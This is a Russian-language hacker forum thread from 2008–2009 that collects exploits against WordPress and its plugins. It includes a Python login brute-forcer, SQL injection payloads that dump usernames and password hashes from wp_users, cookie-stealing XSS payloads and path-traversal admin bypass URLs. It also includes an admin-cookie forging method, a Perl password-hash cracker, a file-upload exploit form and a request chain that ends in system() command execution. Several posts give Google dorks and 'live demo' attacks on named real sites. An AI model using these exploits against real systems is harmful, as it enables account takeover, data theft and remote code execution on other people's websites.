print "Choice : 1} Dictionnary Attack, use dictionnary file"
print " 2} Bruteforce Attack, use number of character for password"

else:
server = sys.argv[1]
if sys.argv[3] == "1":
a , b = open(sys.argv[4],'r') , 0
for lines in a: b = b + 1
a.seek(0)
c = 0
while (c < b):
mot = a.readline().rstrip()
data = {'log': sys.argv[2],
'pwd': mot}
print "[+] Testing : "+mot
request = urllib2.Request(server, urllib.urlencode(data))
f = urllib2.urlopen(request).read()
if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break
else: c = c + 1 ; pass
if sys.argv[3] == "2":
print "[-] Server is : "+server
print "[-] User is : "+sys.argv[2]
print "[-] Number of characters are : "+sys.argv[4]
number = int(sys.argv[4])
bruteforce( tab, number )
############## Source code #####################

The problem is : many time, the default user who is created is : admin, then you can try to crack the password, to stop that, you can use image confirmation or a limit for the connection (for example, only 5 tests).

To know if "admin" is the default user, you can try to go to the login page : http://site.com/wp-login.php and you try ; login : admin, pass : test (or anything else).

if "Wrong password" is printed on the page, the default user is admin, but if there is : "Wrong Username" then it's not the default password ;)

Kad'

Mr.Jobson
30.05.2008, 03:13
Нигде не встречал описания подобного эксплоита. Решил поделиться, так ради забавы.

Неавторизированное чтение постов на Wordpress 2.2.0 - 2.3.1
http://blog.com/?x=wp-admin/
Показывает все посты предназначенные для администратора, также неопубликованные посты.
(c) MrJobson

Евгений Минаев
03.06.2008, 19:26
WordPress 2.3.1 Cookies Manipulation: _http://forum.antichat.ru/showpost.php?p=560997&postcount=23

WordPress 2.5 Cookies Manipulation: начало в _http://forum.antichat.ru/showpost.php?p=655556&postcount=52

================================

Проблемы с надежностью шифрования у вордпресса были всегда. Вспомним 2007 год, когда имея только аутенфикационные данные в виде связки логин и пароль, можно было зайти с администраторскими правами даже без перебора хеша этого пароля, а иньекций в блоге было предостаточно. Ввести элементарный секьюрити фикс не могли начиная с версии 1.5 до 2.3, когда было объявлено о выходе wordpress 2.5. Теперь сразу после инсталяции блога в базу записывается соль, с помощью который высчитывается хеш пароля, помещаемый в cookies юзера. Cookies юзера представляют из себя следующую конструкцию

"wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME . "|" . HMAC

COOKIEHASH md5 хеш от имени сайта
USERNAME Имя пользователя
EXPIRY_TIME Срок жизни cookies до того как они станут невалидными

HMAC представляет из себя хеш из USERNAME и EXPIRY_TIME, основанный на ключе, полученный путем преобразования USERNAME,EXPIRY_TIME и SALT, проще говоря формула такая
HMAC_KEY = HMAC md5(USERNAME.EXPIRY_TIME,SALT), HMAC = HMAC md5(USERNAME.EXPIRY_TIME,HMAC_KEY)

Для реализации атаки нам нужен зарегестрированный пользователь с любыми правами. После входа в контрольную панель мы получим наши cookies, которые будут нужны для получения соли. Так как соль для всех одна, то мы имея эту соль можем сгенерировать cookies для любого юзера, в том числе и админа. Посмотрим, как происходит аутенфикация в wordpress

function wp_validate_auth_cookie($cookie = '') {
........................
list($username, $expiration, $hmac) = explode('|', $cookie);
$expired = $expiration;
........................
if ( $expired < time() )
return false;
........................
$key = wp_hash($username . $expiration);
$hash = hash_hmac('md5', $username . $expiration, $key);
........................
if ( $hmac != $hash )
return false;
}

function wp_hash($data) {
$salt = wp_salt();
if ( function_exists('hash_hmac') ) {
return hash_hmac('md5', $data, $salt);
} else {
return md5($data . $salt);
}
}

Генерация хеша основывается лишь на юзернейме, сроке жизни кук и необходимом параметре - соль. Соль получается следующим образом

function wp_salt() {
........................
if ( empty($salt) ) {
$salt = wp_generate_password();
update_option('secret', $salt);
}
........................
}

function wp_generate_password() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ0123456789";
$length = 7;
$password = '';
for ( $i = 0; $i < $length; $i++ )
$password .= substr($chars, mt_rand(0, 61), 1);
return $password;
}

Как видим, она генерируется случайным образом из набора A-Za-z0-9, то есть общее число комбинаций 62^7, а именно 3521614606208. При неплохой скорости перебора в четыре милиона в секунду имеем 3521614606208 / 4000000 примерно десять дней перебора. Но вспоминаем, что у нас не обычный md5, а hmac. HMAC md5 завязан на ключе и хеширование происходит по формуле md5(key XOR opad, md5(key XOR ipad, text)), где ipad и opad - сгенерированные на основе ключа строки, полученные путем ксора (ipad = the byte 0x36 repeated 16 times, opad = the byte 0x5C repeated 16 times), то есть на перебор вместо изначальных десяти дней уйдет максимум месяц за счет операций с ключом и двойного вызова md5. Перебор должен происходить на основе уже готовых username, hmac и expired из наших cookies - hmac_md5(username . expired, hmac_md5(username . expired,SALT)) == hmac. После получения соли, воспользовавшись стандартными worpdress функциями получим cookies для админа. Enjoy.


$hmackey = hash_hmac('md5', 'admin' . '9999999999', $salt);
$hmacpass = hash_hmac('md5', 'admin' . '9999999999', $hmackey);

Спасибо +toxa+ и W[4H]LF за потраченное на меня время

шок (15:24:19 3/06/2008)
назовем - криптографическая атака на вордпресс

+toxa+ (15:24:34 3/06/2008)
Тебе хитровыебнуться надо?))

M4g
03.06.2008, 23:48
Бага: _http://forum.antichat.ru/showpost.php?p=529997&postcount=17

Как можно посмотреть IP-адреса и e-mail людей, которые оставили свои комментарии на блоге WordPress?

Недавно обнаруженная уязвимость в WordPress версий до 2.5 с моей доработкой предоставляет тебе такую возможность :) Итак, чтобы посмотреть полную конфиденциальную инфу комментаторов на блоге, ты должен зарегистрироваться и пройти по адресу http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit%252dcomments. Также эта бага позволяет тебе всячески поиздеваться над блогом недоброжелателя, например:
-редактировать структуру ссылок (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/options%252dpermalink);
-активировать и деактивировать плагины (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/plugins);
-активировать и деактивировать темы оформления (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/themes);
-просматривать все посты блога (включая черновики) (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit).
И многое другое :) Ты можешь сам подставлять названия файлов из каталога ./wp-admin и ставить свои опыты над вордпрессом.
З.Ы. По непроверенной информации бага работает только на Windows-платформах, но, так как я занимался данной уязвимостью только на винде, на никсах можешь поэксперементировать сам.

baltazar
04.06.2008, 23:51
скуля

http://localhost/[path]/wp-uploadfile.php?f_id=[SQL]
SQL query:
null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*

baltazar
02.07.2008, 01:29
"setup-config.php" intitle"WordPress * Setup"

Elekt
21.07.2008, 16:59
====================

WP <=2.3.2
SQL-ing big5

В дополнение к GBK sql-inj, описанной в теме выше.
Для big5 эксплоит будет выглядеть как

/index.php?exact=1&sentence=1&s=%a3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24/**/FROM/**/wp_users%23

====================

WP <=2.5.0
Обход регистрации.

При импорте блога происходит создание юзеров из гостей с дефолтным паролем "changeme"

====================

WP <=2.3.1
Broken Access Control is_admin()
ONLY WINDOWS
Вы должны быть авторизованы!


В дополнение к урлам МАГа:

/?cat=1.php/../../../../wp%252dadmin/options%252dwriting

Локальный инклуд произвольного файла:
/?cat=1.php%2F..%2F..%2F..%2F..%2Fwp%252dadmin%2Fpl ugins&action=error_scrape&plugin=..%5C..%5Cindex.php

====================

Elekt
23.07.2008, 20:16
Ticket #7220 (closed defect: fixed)

Component: Security
Version: 2.6

http://localhost/wp/wp-admin/press-this.php/?ajax=video&s=%3C/textarea%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://localhost/wp/wp-admin/press-this.php/?ajax=thickbox&i=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

M4g
26.07.2008, 11:36
Ticket #7220 (closed defect: fixed)
---
это в svn пререлиз версии 2.6

~!DoK_tOR!~
26.07.2008, 19:01
Wordpress Plugin Download Manager 0.2 Arbitrary File Upload Exploit


<a name="upload-file"></a><h2>WORDPRESS PLUGIN DOWNLOAD MANAGER 0.2 REMOTE FILE UPLOAD</h2>
<h3>SaO</h3>
<h4>BiyoSecurityTeam || www.biyosecurity.com</h4>
<i>Plugin URI: http://giulioganci.netsons.org/downloads-manager<i>
<hr color="#f0f8ff">
<fieldset name="upl" class="options">

<form action="http://[site]/wp-content/plugins/downloads-manager/upload.php?up=http://[site]/wp-content/plugins/downloads-manager/upload/" method="post" enctype="multipart/form-data" name="upload">
<table cellspacing="0" cellpadding="3">
<tr>
<td>Local File</td>
</tr>
<tr>
<td><input name="upfile" type="file" id="upfile" size="50"><input type="hidden" name="MAX_FILE_SIZE" value="2048"></td>
<td><input type="submit" name="up" value="Send" class="button" /></td>
</tr>
</table>
</form>
</fieldset>

Fugitif
30.07.2008, 18:20
WordPress Exploit Scanner

This plugin searches the files and database of your website for signs of suspicious activity. It will not stop someone hacking into your site, but it may help you find any uploaded or compromised files left by the hacker.

When a website is compromised, hackers leave behind scripts and modified content that can be found by manually searching through all the files on a site. Some of the methods used to hide their code or spam links are obvious, like using CSS to hide text, and we can search for those strings.

The database can also be used to hide content or be used to run code. Spam links are sometimes added to blog posts and comments. They’re hidden by CSS so visitors don’t see them, but search engines do. Recently, hackers took advantage of the WP plugin system to run their own malicious code. They uploaded files with the extensions of image files and added them to the list of active plugins. So, despite the fact that the file didn’t have a .php file extension, the code in them was still able to run!


More Info and Download:

http://ocaoimh.ie/exploit-scanner/

baltazar
03.08.2008, 20:56
Full path disclosure:
http://site/wp-content/plugins/firestats/js/firestats.js.php
http://site/wp-content/plugins/firestats/php/ajax-handler.php?FS_FULL_INSTALLATION=1
http://site/wp-content/plugins/firestats/php/footer.php
http://site/wp-content/plugins/firestats/php/page-help.php
http://site/wp-content/plugins/firestats/php/page-import.php
http://site/wp-content/plugins/firestats/php/page-settings.php
http://site/wp-content/plugins/firestats/php/page-stats.php
http://site/wp-content/plugins/firestats/php/tabbed-pane.php
http://site/wp-content/plugins/firestats/php/ezsql/mysql/demo.php
http://site/wp-content/plugins/firestats/php/ezsql/mysql/disk_cache_example.php
http://site/wp-content/plugins/firestats/php/ip2c/benchmark.php
http://site/wp-content/plugins/firestats/php/ip2c/ip2c_test.php
http://site/wp-content/plugins/firestats/php/unzip/sample.php

Активная ХSS
В поле UserAgent заголов UA отображается без предворительной фильтрации

Fugitif
18.08.2008, 01:23
| Wordpress Plugin downloadMonitor (id) Remote SQL Injection Vulnerability

http://localhost/wp-content/plugins/wp-downloadMonitor/download.php?id=-14/**/union/**/select/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),3, 4,5,6/**/from+wp_users--

Author: JIKO

Demo:

humanum.nl/wp-content/plugins/wp-downloadMonitor/download.php?id=-14/**/union/**/select/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),3, 4,5,6/**/from+wp_users--

;)

[Raz0r]
29.08.2008, 20:57
Эксплоит для смены пароля администратора Wordpress <= 2.6.1 через уязвимость в генерации случайных чисел в phpBB2 (Cross Application Attack) (http://raz0r.name/wp-content/uploads/2008/08/wp1.html)
Статья, посвященная особенностям функций rand() и mt_rand() и вытекающими отсюда уязвимостями в Wordpress и phpBB (http://raz0r.name/articles/predskazyvaem-sluchajnye-chisla-v-php/)
Уязвимость обнаружена Стефаном Эссером, эксплоит написан мной

Fugitif
05.09.2008, 23:08
################################################## ###############################################
#
# WordPress Simple Tagging Widget Cross Site Scripting Vulnerability (XSS)
#
# Script: http://wordpress.org/extend/plugins/simple-tagging-widget/
#
################################################## ###############################################
#
# Author : kernel_panic
#
# Site : www.codebomb.org
#
# Mail : kernel_panic@codebomb.org
#
################################################## ###############################################
#
# DORK : Try to find your own using Google. The vulnerable sites
# are: www.site.com/?tag=[XSS] or www.site.com/folder/?tag=[XSS]
#
################################################## ###############################################
EXAMPLE:
http://site.com/?tag=[XSS]

e.g.: [XSS]: <script>alert(/XSS/)</script> or try to use others
in order to work

POC:
http://www.wiggler.gr/?tag=%3Cscript%3Ealert(/XSS/)%3C/script%3E
http://dialogos.pasok.gr/?tag=%3Cscript%3Ealert(/XSS/)%3C/script%3E
http://www.programacionweb.net/buscador/?tag=%22%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscri pt%3E

################################################## #################################################

Fugitif
05.09.2008, 23:09
################################################## ##############
#
# Author: FeDeReR and sinner_01
# Home : www.darkc0de.com & www.hacking.ge
#
# Email : FeDeReR@avoe.ge & sinn3r01@gmail.com
#
# Share the c0de!
#
################################################## ##############
#
# Xss
#
# Soft.Site: http://www.wordpress.com/
#
# Dork:Wordpress Forum 1.7.4
#
# Dork 2:Fredrik Fahlstad. Version: 1.7.4.
#
# Xss: http://site.com/path/?forumaction=search
#
# Search: <script>alert(document.cookie)</script>
#
# Xss 2: http://site.com/path/?forumaction=showforum&forum=1
#
# Post a new topic and type: <script>alert(document.cookie)</script>
#
#
#
#
#
################################################## ##############

Fugitif
08.09.2008, 11:13
WordPress 2.6.1 SQL Column Truncation Vulnerability (PoC)

in this hack we can remote change admin password, if registration enabled
................
6. admin's password changed, but new password will be send to correct admin email ;/
Предваряя тысячу и один вопрос "какой же пароль админа?" - отвечаю - пасс админа вы не получите согласно пункту 6.
Западлостроение, не более.
Source:
http://www.milw0rm.com/exploits/6397

Fugitif
10.09.2008, 20:21
Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit

http://www.milw0rm.com/exploits/6421

skivan
12.09.2008, 07:21
А где взять файл createtables.php для генерации таблиц ? Гуглил, но не удачно... :(

AkyHa_MaTaTa
12.09.2008, 10:23
Сорри что может не в тему, но у мну такой вопрос - достал адм. пасс(версия движка 2.6.2), он вот в таком виде:
admin:$P$Byn1t0aJv0ceUbWNBKQ6Z7GOOYd.Qq1
полазив по тикитам wp я так понял что там идет дополнительное хеширование md5() хеша, еще и с сальтом, есть ли какой нибудь брутер под данный вид хешей?

M4g
13.09.2008, 05:02
>А где взять файл createtables.php для генерации таблиц ? Гуглил, но не удачно...
самому написать) но тут учти нюанс
надо 2 файла:
1. для пыха < 5.2.1
2. >=5.2.1
оба выйдут по 120 гиг в среднем
Дальше. Если радугу лень генерить, то жди работы сплойта. По моим подсчетам, ~10 часов для генерации сида)
---
ИМХО сплойт с такими раскладами бесполезен

M4g
13.09.2008, 05:05
>admin:$P$Byn1t0aJv0ceUbWNBKQ6Z7GOOYd.Qq1
там либа phpass, забудь, это нереально)
либо вытаскивай secret_key из таблицы опций и юзай сплойт-брутфорс на одной из предыдущих страниц топика (что-то вроде salt cracking, не помню точно)

Rubaka
13.09.2008, 20:17
сканер на Питоне

http://www.darkc0de.com/scanners/wpscan.py

Fugitif
30.09.2008, 18:43
WordPress MU 2.6 wpmu-blogs.php Crose SiteScrpting vulnerability

Product: Wordpress-MU (multi-user)
Version: Versions prior to 2.6 are affected
Url: http://mu.wordpress.org
Affected by: Coss Site Scripting Attack


I. Introduction.

Wordpress-MU, or multi-user, allows to run unlimited blogs with a
single install of wordpress. It's widely used, some examples are
WordPress.com or universities like Harvard


II. Description and Impact

Wordpress-MU is affected by a Cross Site Scripting vulnerability, an
attacker can perform an XSS attack that allows him to access the
targeted user cookies to gain administrator privileges

In /wp-admin/wpmu-blogs.php an attacker can inject javascript code,
the input variables "s" and "ip_address" of GET method aren't properly
sanitized


Here is a poc:


http://site/path/wp-admin/wpmu-blogs.php?action=blogs&ip_address=XSS
http://site/path/wp-admin/wpmu-blogs.php?action=blogs&s=XSS

The impact is the attacker can gain administrator privileges on the
application.


III. Timeline

May 14th, 2008 - Bug discovered
May 14th, 2008 - Vendor contacted and the start of a syncronized
code patching
May 16th, 2008 - MU trunk code fixed
July 28th, 2008 - WPMU 2.6 released
September 2nd, 2008 - WPMU 2.6.1 released
September 29th, 2008 - Security advisory released


IV. Solution

Upgrade to version 2.6 or upper of wordpress multi-user. It can be
downloaded from http://mu.wordpress.org


V. Credits

Juan Galiana Lara

Fugitif
30.10.2008, 18:45
WordPress Media Holder (id) Sql injetion vulnerability!

-------------------------------------------------------------------
WordPress Media Holder (id) Sql injetion vulnerability!
-------------------------------------------------------------------
-------------------------------------------------------------------
Author: boom3rang
Greetz: H!tM@N - KHG - chs - redc00de!
Site : www.khg-crew.ws - [Kosova Hackers Group!]
-------------------------------------------------------------------


-------------------------------------------------------------------
Dork: mediaHolder.php?id
-------------------------------------------------------------------
Exp: http://localHost/mediaHolder.php?id=[exploit]
-------------------------------------------------------------------
exploit: -9999/**/UNION/**/SELECT/**/concat(User(),char(58),Version()),2,3,4,5,6,Databa se()--
-------------------------------------------------------------------
liveDemo:
http://www.dhadm.com/mediaHolder.php?id=-9999/**/UNION/**/SELECT/**/concat(User(),char(58),Version()),2,3,4,5,6,Databa se()--
-------------------------------------------------------------------


-------------------------------------------------------------------
Proud 2 be Albanian
Proud 2 be Muslim
United States of Albania
-------------------------------------------------------------------

# milw0rm.com [2008-10-26]

Source:milw0rm (http://www.milw0rm.com/exploits/6842)

M4g
29.11.2008, 01:31
===== noXSS.org Security Advisory ======

Advisory: WordPress XSS vulnerability in RSS Feed Generator
Author: Jeremias Reith <jr (at) noxss (dot) org [email concealed]>
Published: 2008/11/25
Affected: WordPress < 2.6.5

Summary
=======

WordPress prior to v2.6.3 fails to sanitize the Host header variable
correctly when generating RSS feeds and is therefore prune to XSS
attacks.

Web Sites running in a name based virtual hosting setup are not
affected as long as they are not the default virtual host.
Moreover we only found installations running on the Apache web server
to be affected.

Vulnerability Details
=====================

The function self_link() in wp-includes/feed.php is used to generate
absolute URLs for the <atom:link> tag in ATOM and RSS 2.0 feeds:

function self_link() {
echo 'http'
. ( $_SERVER['https'] == 'on' ? 's' : '' ) . '://'
. $_SERVER['HTTP_HOST']
. wp_specialchars(stripslashes($_SERVER['REQUEST_URI']), 1);
}

The function does not sanitize the HTTP_HOST variable in any way but
WordPress replaces all $_SERVER variables with escaped ones in
wp-settings.php:

$_SERVER = add_magic_quotes($_SERVER);

In almost all setups add_magic_quotes() runs
mysql_real_escape_string() over the elements and returns the modified
array. Unfortunately this escaping method is not safe in markup
context.

PoC
====

The Apache web server only disallows '/', '\' and '..' within the host
header. The header can therefore contain markup making the following
PoC possible:

curl -H "Host: \"><body onload=alert(String.fromCharCode(88,83,83))>" http://www.example.org/blog/feed

The given example request will return (without additional newlines):

-- snip --
...
<atom:link href="http://\">
<body onload=alert(String.fromCharCode(88,83,83))>
/blog/feed" rel="self" type="application/rss+xml" />
...
-- snip --

The embedded JavaScript will be executed in Firefox 3.0.4 due to the
triggered switch to Quirks mode.

Exploit
=======

The following exploit is a semi-stored XSS attack and has been tested
with the following setup:

- Apache 2.x with IP based virtual hosting
- Wordpress 2.6.3 installed in /blog/
- WP Super Cache 0.84
- Firefox 3.0.4

WP Super Cache is a popular WordPress plugin that adds static file
caching to WordPress. It greatly increases performance and is
often used. It saves generated pages in the wp-content/cache directory
and adds mod_rewrite rules to serve cached pages statically.

Issuing a malicious request to a vulnerable WordPress installation
will lead to a file containing the XSS to be generated and placed
within the document root.

Request:
curl -H "Host: \"><body onload=alert(String.fromCharCode(88,83,83))>" http://www.example.org/blog/feed

Generated file:
http://example.org/blog/wp-content/cache/wp-cache-#md5sum#.html

Firefox will execute the embedded JavaScript even tough the feed is
XML because the file is served as text/html.

The only missing the step is the calculation cached file's MD5 sum.

The following code generates the MD5 checksum:

php -r 'echo md5("\"><body
onload=alert(String.fromCharCode(88,83,83))>".
"/blog/feed"), "\n";'

In the default setup the MD5 sum can be generated by concatenating the
contents of HTTP_HOST and REQUEST_URI resulting in
0d2ca4617758433a7864d57493be2c5b for the given example.

This file can be accessed until the cache expiration mechanism removes
it. The default expire time is 3600 seconds.

Vendor Response
===============
2008-11-17 Reported to vendor
2008-11-17 Initial response from vendor
2008-11-25 Release of version 2.6.5
http://www.securityfocus.com/archive/1/498652

M4g
14.12.2008, 20:15
Уязвимый продукт: Wp-Forum <=2.2 (последний на данный момент)
Дорк: inurl: plugins/wp-forum

SQL-injection:

./wp-content/plugins/wp-forum/feed.php?topic=[SQL HERE]

$topic = $_GET['topic'];

if($topic == "all"){
...
}
else{
$posts = $wpdb->get_results("SELECT * FROM $wpforum->t_posts WHERE parent_id = $topic ORDER BY `date` DESC LIMIT 20 ");
$description = __("Forum Topic:", "wpforum")." - ".$wpforum->get_subject($topic);
$title = get_bloginfo('name')." ".__("Forum", "wpforum")." - ".__("Topic: ", "wpforum")." ".$wpforum->get_subject($topic);
}

M4g
18.12.2008, 23:14
Уязвимый продукт: Simple:Press Forum - 3.1.4 (последняя на данный момент)
Дорк: inurl: plugins/simple-forum

SQL-injection: ./wp-content/plugins/simple-forum/sf-pmpost.php
Уязвимая переменная : $_POST['pmtoidlist']

$tolist = explode(',', $_POST['pmtoidlist']);
if(!$tolist)
{
update_sfnotice('sfmessage', '1@'.__('No message recipients were set', "sforum"));
return;
}
...
foreach($tolist as $recipient)
{
$recipient = trim($recipient);
...
$sql = "INSERT INTO ".SFMESSAGES;
$sql .= " (sent_date, from_id, to_id, title, message, sentbox, is_reply) ";
$sql .= "VALUES (";
$sql .= "now(), ";
$sql .= $current_user->ID.", ";
$sql .= $recipient.", ";
$sql .= "'".$wpdb->escape($title)."', ";
$sql .= "'".$wpdb->escape($messagecontent)."', ";
$sql .= $sentbox.", ";
$sql .= $reply.");";
if($wpdb->query($sql) === false)
Примерный эксплойт:
Логинимся на форум (для отправки личных сообщений, как правило, на форумах рега открыта):
<form action="http://lamer/platinum/wp-content/plugins/simple-forum/sf-pmpost.php" method="post">
<input type="hidden" name="_wpnonce" value="e5192161fc" />
<input type="hidden" name="_wp_http_referer" value="/platinum/forum/?pmaction=viewinpm&pms=1" />
<input type="hidden" tabindex="0" name="pmaction" id="pmaction" value="savepm" />
<input type="hidden" tabindex="0" name="pmuser" id="pmuser" value="1" />
sql<input name="pmtoidlist" value="" />
<input type="hidden" tabindex="0" name="pmreply" id="pmreply" value="" />
title<input type="text" tabindex="4" name="pmtitle" id="pmtitle" value="" />
text<textarea tabindex="5" name="newpmpost" id="newpmpost" rows="12"></textarea>
<input type="submit" name="newpm" value="ok" />
</form>
Примерная возвращаемая ошибка:
WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' sd, '123', 'sdfsdfds', 1, 0)' at line 1]
INSERT INTO wp_sfmessages (sent_date, from_id, to_id, title, message, sentbox, is_reply) VALUES (now(), 1, 12\' sd, '123', 'sdfsdfds', 1, 0);
Можно использовать в совокупности с on duplicate update (сорри, не помню точно, ищите адвизори гемаглабина :)

Fugitif
22.12.2008, 22:00
Wordpress 2.7 PasswordHash Attack Tool

################################################## ###############
#Wordpress 2.7 PasswordHash Attack Tool
#It is based in "Portable PHP password hashing framework"
#for Wordpress 2.7
#Autor: netsoul
#Thanks to Waraxe and m1cr0n
#Contact: netsoul2[at]gmail.com
#ALTO PARANA - PARAGUAY
################################################## ###############

#! /usr/bin/perl -w
use strict;
use Digest::MD5 qw(md5 md5_hex);
use List::Util qw(min);

my $hashP = '$P$BS5/b7lxp4t.0j1ZFTyRcdrvAyxh5R0'; # 12345
my $dictionary = 'mydic.txt'; # Put a dictionary
my $php_version = '5'; # Don't modify if you don't know it

open (f1, "<$dictionary") || die "Error in open file!.\n";
$hashP =~ m{^(\$P\$[/a-zA-Z0-9.]+)};
die "Bad hash!\n" if length($1) != 34;
my ($itoa64) = join('', my @itoa64 =
('.','/','0'..'9','A'..'Z','a'..'z'));
my ($salt, $hash)=$hashP=~m/^(.{0,12})(.+)/;
my ($header)=$salt=~m/^(.{0,3})/;
while (<f1>) {
chomp($_);
print "Current Password: $_\r";
my $found = &finder($_,$salt,$hash);
print "\nPassword FOUND: $_" and last if $found;
print "\nPassword NOT FOUND:" if eof;
}
close f1;

sub b64{
my $input = $_[0];
my @input = split(//,$input);
my $count = $_[1];
my $output = '';
my $i;
do {
my $value = ord($input[$i++]);
$output .= $itoa64[$value & 0x3f];
if ($i < $count){
$value |= ord($input[$i]) << 8;
}
$output .= $itoa64[($value >> 6) & 0x3f];
if ($i++ >= $count){
return $output;
}
if ($i < $count){
$value |= ord($input[$i]) << 16;
}
$output .= $itoa64[($value >> 12) & 0x3f];
return $output if $i++ >= $count;
$output .= $itoa64[($value >> 18) & 0x3f];
} while ($i < $count);
return $output;
}

sub EncryptP{
my $password = $_[0];
my $setting = $_[1];
my @setting = split(//,$setting);
my $hash;
my $output = '*0';
$output = '*1' if substr($setting, 0, 2) eq $output;
return $output if substr($setting, 0, 3) ne $header;
my $count_log2 = index($itoa64, $setting[3]);
if ($count_log2 < 7 || $count_log2 > 30){
return $output;}
my $count = 1 << $count_log2;
my $salt = substr($setting, 4, 8);
return $output if length($salt) != 8;
if ($php_version >= '5') {
$hash = md5($salt . $password);
do {
$hash = md5($hash . $password);
} while (--$count);

} else {
$hash = pack('H*', md5_hex($salt . $password));
do {
$hash = pack('H*', md5_hex($hash . $password));
} while (--$count);
}
$output = substr($setting, 0, 12);
$output .= &b64($hash, 16);
return $output;
}

sub HashP{
my $password = $_[0];
my $salt = $_[1];
my $hash;
$hash = &EncryptP($password,$salt);
return $hash if length($hash) == 34;
}

sub CheckP{
my $password = $_[0];
my $stored_hash = $_[1];
my $hash = &EncryptP($password,$stored_hash);
return $hash;
}

sub finder{
my $password = $_[0];
my $salt = $_[1];
my $hash = $_[2];
my $output = &CheckP($password,&HashP($password,$salt));
return $output eq $salt.$hash;
}

[Raz0r]
27.12.2008, 00:30
WP-Syntax - это самый популярный плагин для wordpress для подсветки кода. Его используют на многих сайтах, например Стефан Эссер использует его на своем блоге. Для меня этот плагин представлял интерес, так как обнаружил его в блоге довольно крупной фарма-партнерки. Проведя анализ исходного кода, я нашел достаточно необычную уязвимость, поэтому решил создать отдельную тему. Возможно у кого-нибудь возникнут замечания или мысли по поводу более изящного решения.

WP-Syntax использует библиотеку GeSHi, которая и реализует весь функционал по разбору синтаксиса и составления соответствующего для каждого языка html-кода. Разобрав главный скрипт плагина wp-syntax.php, я перешел к папке test, где хранилось 2 скрипта: index.php и code.php. Code.php содержал примеры кода для разных языков, а index.php выводил их с подсветкой для демонстрации возможностей плагина. Index.php инклудит wp-syntax.php, который в свою очередь подключает geshi.php. По замыслу разработчика wp-syntax.php может вызываться только из контекста WP, в то время как test/index.php может запускаться независимо от платформы, при этом автор решил использовать самопальное подобие механизма WP для выполнения callback-функций. Кто знаком с внутренним устройством WP или хотя бы видел часть кода может понять, что я говорю о функциях add_action(), do_action(), apply_filters() и др.

Самореализованная ф-ция apply_filters выглядит следующим образом:

function apply_filters($tag, $string)
{
global $test_filter;

if (!isset($test_filter[$tag])) return $string;

uksort($test_filter[$tag], "strnatcasecmp");

foreach ($test_filter[$tag] as $priority => $functions)
{
if (is_null($functions)) continue;

foreach($functions as $function)
{
$string = call_user_func_array($function, array($string));
}
}
return $string;
}

Глобальный массив test_filter нигде ранее не инициализируется, поэтому появляется возможность добавить в него произвольные элементы при register_globals=on и впоследствии выполнить любую функцию с помощью call_user_func_array. В WP есть специальная ф-ция - unregister_globals, защищающая от подобных уязвимостей, но здесь другой случай - скрипт работает вне контекста WP.
apply_filters вызывается в нескольких местах, один их них:

<html>
<head>
<title>WP-Syntax Test Page</title>
<link rel="stylesheet" href="../wp-syntax.css" type="text/css" media="screen" />
<?php
test_head();

/* ... */

function test_head()
{
echo apply_filters("wp_head", "");
}
?>


Как видим сложность данного случая заключается в том, что нельзя выполнить функцию с произвольными аргументами - будет передаваться один пустой аргумент с типом string. С первого взгляда мне показалось, что даже банальный phpinfo() выполнить не удастся, так как он принимает аргумент только с типом integer, иначе возникнет ошибка уровня E_WARNING. Однако вникнув в логику ф-ции apply_filters становится ясным, что изменить аргумент для call_user_func_array() можно, так как она выполняется в цикле и присваивает свой результат аргументу для следующей callback-функции. Иначе говоря с помощью специально составленной цепочки функций можно бы было получить -1 и передать это значение в phpinfo (-1 = INFO_ALL). Тут я начал вспоминать все функции PHP, которые могли бы мне помочь в данной ситуации. Как оказалось многие функции, не принимающие аргументов, вызывают ошибку, если предать в них пустое значение. Тем не менее, нужная мне последовательность вызовов функций была найдена:

http://localhost/wp/2.7/wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=pi&test_filter[wp_head][99][1]=cos&test_filter[wp_head][99][2]=phpinfo

Сперва вызывается функция pi(), возвращающая значение числа pi. Как ни странно, эта функция, несмотря на отсутствие принимаемых аргументов, не вызывает ошибку "Wrong parameter count for". Далее идет вызов функции cos(), в которую передается значение числа pi. Как известно, cos(pi) = -1, поэтому в phpinfo() попадает нужное значение и выводятся все данные.

Казалось большего уже не достичь, но я продолжал поиск способа для выполнения произвольных команд. Необходимо было найти функцию, которая возвращала бы нужные для меня данные. Эти данные можно бы было получить из окружения, но подходящих функций не попадалось. Однако способ все-таки был найден =)
Ф-ция session_id() может как возвращать значение текущего идентификатора сессии, так и устанавливать его, если был передан аргумент. Мне естественно нужно было получить значение, но как быть с пустым параметром, который постоянно передавался? Я решил проверить возвращаемые значения таким скриптом:

<?php
session_start("");
echo session_id();
echo session_id("");
echo session_id();
?>

Выяснилось, что session_id возвращает значение прошлого идентификатора, несмотря на то, что в функцию был передан параметр. Не знаю баг это или нет, но в доках по этому поводу ничего не сказано. В итоге финальный запрос выглядит следующим образом:

GET /wp/2.7/wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=session_start&test_filter[wp_head][99][1]=session_id&test_filter[wp_head][99][2]=system HTTP/1.0
Host: localhost
Cookie: PHPSESSID=dir
Connection: close

Спасибо за внимание, надеюсь было интересно =)

ShAnKaR
05.01.2009, 07:11
ну в session_id запихнуть можно только буквы и цифры, поэтому особо раздолья нет, вот помучал немного :

